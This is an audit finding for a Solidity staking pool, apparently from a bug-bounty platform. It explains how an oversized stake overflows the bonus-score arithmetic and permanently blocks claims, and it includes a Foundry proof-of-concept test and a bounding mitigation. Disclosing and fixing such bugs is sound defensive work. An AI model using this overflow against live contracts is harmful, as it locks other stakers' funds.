FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Unbounded absolute-time moments let one stake permanently brick all bonus-bearing claims

Author Revealed upon completion

Unbounded absolute-time moments let one stake permanently brick all bonus-bearing claims

Description

The k=2 bonus should distribute rewards according to each deposit's exact score, amount × (T - entryTime)², while allowing every eligible staker to recover principal.

The pool stores absolute timestamp moments and later expands the score into several checked uint256 products. No stake bound ensures those intermediate terms fit. For a sufficiently high-raw-supply standard ERC-20, the stored moments and true score fit while userPlus or the shared plus term overflows before subtraction. Every eligible claimSurvived() and paying claimExpired() then reverts.

// Stored during stake.
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
// Expanded during claim.
// @> Each individual term may fit while this addition overflows.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> Every claimant also evaluates this shared overflowing expression.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);

For A = floor(type(uint256).max / (2 × s²)) and T = s + 1, A × s² fits and the true score is only A, but A × T² + A × s² exceeds uint256. A one-unit bonus is enough to enter the vulnerable calculation.

Risk

Likelihood:

  • Occurs when an allowlisted standard token has unusually high raw supply and aggregate stake reaches the unsafe moment range.

  • Requires a nonzero snapshotted bonus; one raw token unit is sufficient.

Impact:

  • Every eligible survivor or expiry claimant is unable to recover principal or bonus.

  • The sweep function continues reserving all outstanding liabilities, leaving no owner or moderator rescue route.

Proof of Concept

Setup: append the function below to test/unit/ConfidencePool.t.sol (same ConfidencePoolTest harness / BaseConfidencePoolTest helpers already used by the suite), then run:

forge test --match-test testAbsoluteTimeMomentsOverflowBricksClaims -vv
  1. At timestamp s, alice stakes type(uint256).max / (2 · s²) while the registry is UNDER_ATTACK, so deposit moments A · s² still fit in uint256.

  2. Time advances one second (T = s + 1) and carol contributes a 1-wei bonus so _bonusShare will evaluate the expanded score.

  3. The moderator flags SURVIVED; outcomeFlaggedAt becomes s + 1.

  4. Alice's claimSurvived() reverts because A · T² + A · s² overflows before subtraction recovers the true score A.

  5. sweepUnclaimedBonus() reverts with NothingToSweep because outstanding principal + bonus remain reserved, leaving the full balance stuck in the pool.

// PoC: absolute-time moments let A·s² fit while A·T² + A·s² overflows for T = s + 1.
// One oversized stake with a 1-wei bonus makes claimSurvived revert forever; sweep cannot
// free the reserved principal.
function testAbsoluteTimeMomentsOverflowBricksClaims() external {
uint256 s = block.timestamp;
uint256 unsafeStake = type(uint256).max / (2 * s * s);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
token.mint(alice, unsafeStake);
vm.startPrank(alice);
token.approve(address(pool), unsafeStake);
pool.stake(unsafeStake);
vm.stopPrank();
assertEq(pool.riskWindowStart(), s);
assertEq(pool.sumStakeTimeSq(), unsafeStake * s * s);
vm.warp(s + 1);
_contributeBonus(carol, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.outcomeFlaggedAt(), s + 1);
assertEq(pool.snapshotTotalBonus(), 1);
// True score is only A·1² = A, but expanded claim math reverts on userPlus / plus.
vm.prank(alice);
vm.expectRevert();
pool.claimSurvived();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(address(pool)), unsafeStake + 1);
}

Recommended Mitigation

Use full-width arithmetic for moment construction or enforce a conservative aggregate-stake bound before crediting deposits.

function stake(uint256 amount) external {
// after determining `received`
+ uint256 expiry_ = uint256(expiry);
+ uint256 maxTotalStake =
+ type(uint256).max / (2 * expiry_ * expiry_);
+ if (totalEligibleStake + received > maxTotalStake) {
+ revert StakeMomentOverflow();
+ }
// existing moment accounting
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!